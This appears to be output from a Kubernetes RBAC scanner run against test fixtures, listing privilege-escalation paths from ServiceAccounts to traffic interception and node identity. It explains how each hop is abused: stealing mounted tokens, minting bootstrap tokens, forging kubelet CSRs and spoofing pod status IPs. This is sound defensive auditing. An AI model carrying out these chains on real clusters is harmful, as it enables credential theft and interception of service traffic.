HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → traffic intercept score 6.6 3 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches traffic intercept in 3 hops via Ephemeral container injection → Pod creation → ServiceAccount token theft → Service rewrite: re-pointing a Service.

  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  3. Step 3 of 3 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → traffic intercept score 6.6 3 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches traffic intercept in 3 hops via Pod exec → container takeover → Pod creation → ServiceAccount token theft → Service rewrite: re-pointing a Service.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  3. Step 3 of 3 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → traffic intercept score 6.4 4 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches traffic intercept in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  4. Step 4 of 4 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → traffic intercept score 6.4 4 hops View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches traffic intercept in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  4. Step 4 of 4 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape → traffic intercept score 6.2 4 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches traffic intercept in 4 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  4. Step 4 of 4 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
MEDIUM ServiceAccount/statusspoof-fixtures/statusspoof-writer → traffic intercept score 6.9 1 hop View finding →

ServiceAccount `statusspoof-writer` in namespace `statusspoof-fixtures` reaches traffic intercept in 1 hop via Pod status rewrite: Service traffic redirection.

  1. Pod status rewrite: Service traffic redirection pod_status_ip_spoof

    A Service's backends are not configured anywhere: the EndpointSlice controller derives them from the podIPs that selected pods report in their status. That status is an ordinary API subresource, pods/status. The API server checks only that each address is well-formed, and the NodeRestriction plugin constrains node callers only, so a non-node subject with update or patch on it can give any selected pod any IP.

    The Service follows within a second: the EndpointSlice is republished and kube-proxy re-points its rules. Clients resolve the Service name as before and connect to the attacker, bearer tokens and all. The pod's kubelet writes the real IP back on its next sync (about 10 seconds), so the attacker keeps re-writing it, unless the Service publishes not-ready addresses and the pod has no node, in which case nothing ever corrects it. Against a webhook or aggregated-API backend, the clients are the API server itself.

    From ServiceAccount/statusspoof-fixtures/statusspoof-writer
    Permission granted patch pods/status
    Gives the attacker can rewrite the pod IP in the status of pods selected by Service statusspoof-fixtures/statusspoof-api, redirecting that Service's traffic to an address it chooses until the kubelet corrects the status
→ node identity

10 paths to node identity

10 high
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → node identity score 8.2 1 hop View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches node identity in 1 hop via Kubelet CSR auto-approval: a node identity for any name.

  1. Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → node identity score 8.0 1 hop View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches node identity in 1 hop via Bootstrap token minting.

  1. Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → node identity score 8.0 1 hop View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches node identity in 1 hop via Bootstrap token minting.

  1. Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
HIGH ServiceAccount/rbac-fixtures/sa-token-create → node identity score 7.9 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches node identity in 2 hops via TokenRequest minting → Bootstrap token minting.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount kube-system/generic-garbage-collector
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape → node identity score 7.6 2 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches node identity in 2 hops via Pod creation → ServiceAccount token theft → Bootstrap token minting.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
HIGH ServiceAccount/rbac-fixtures/sa-pod-create → node identity score 7.6 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches node identity in 2 hops via Pod creation → ServiceAccount token theft → Bootstrap token minting.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount kube-system/generic-garbage-collector
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate → node identity score 7.6 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches node identity in 2 hops via Workload creation → ServiceAccount token theft → Bootstrap token minting.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount kube-system/generic-garbage-collector
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
HIGH ServiceAccount/vulnerable/privileged-reader → node identity score 7.6 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches node identity in 2 hops via Pod creation → ServiceAccount token theft → Bootstrap token minting.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount kube-system/generic-garbage-collector
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → node identity score 7.2 3 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches node identity in 3 hops via Ephemeral container injection → Pod creation → ServiceAccount token theft → Bootstrap token minting.

  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount kube-system/generic-garbage-collector
  3. Step 3 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → node identity score 7.2 3 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches node identity in 3 hops via Pod exec → container takeover → Pod creation → ServiceAccount token theft → Bootstrap token minting.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount kube-system/generic-garbage-collector
  3. Step 3 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Escalation graph

Every privilege-escalation route this scan found, drawn as one picture: 72 subjects and 9 sinks joined by 325 attacker moves. Sources sit on the left and the high-value sinks they reach on the right; each hop is coloured by how hard it is to pull off. This is the whole graph the multi-hop Escalation paths tab lists one route at a time — a shared node is one identity several chains pass through. Click or focus a node to trace everything it reaches and everything that reaches it; click a sink to light up every route into it. Click empty space or Reset to clear.

easy hop moderate hop hard hop source subject sink
Secrets read access Wildcard verbs × wildcard resources Migrate pods onto an attacker node Control-plane PKI theft Migrate pods onto an attacker node Mint a token via a legacy Secret Assume AWS IAM Role via IRSA Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Assume AWS IAM Role via IRSA TokenRequest minting Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Steal node IAM role via IMDS CSR self-approval: forging a cluster identity Static pod and SA signing-key abuse Steal node IAM role via IMDS Steal node IAM role via IMDS Signer control: issuing certs without approval Static pod and SA signing-key abuse Steal node IAM role via IMDS Wildcard verbs × wildcard resources RoleBinding write access plus bind Migrate pods onto an attacker node Control-plane PKI theft Migrate pods onto an attacker node Mint a token via a legacy Secret Create a privileged pod and escape to the node Control-plane PKI theft Create a privileged pod and escape to the node Create a privileged pod and escape to the node Static pod and SA signing-key abuse Wildcard verbs × wildcard resources Migrate pods onto an attacker node Control-plane PKI theft Migrate pods onto an attacker node Mint a token via a legacy Secret RoleBinding write access plus bind RoleBinding write access plus bind RoleBinding write access plus bind RoleBinding write access plus bind RoleBinding write access plus bind Co-located ServiceAccount token theft Wildcard verbs × wildcard resources Migrate pods onto an attacker node Control-plane PKI theft Migrate pods onto an attacker node Mint a token via a legacy Secret Steal node IAM role via IMDS Control-plane PKI theft Steal node IAM role via IMDS Static pod and SA signing-key abuse Steal node IAM role via IMDS Wildcard 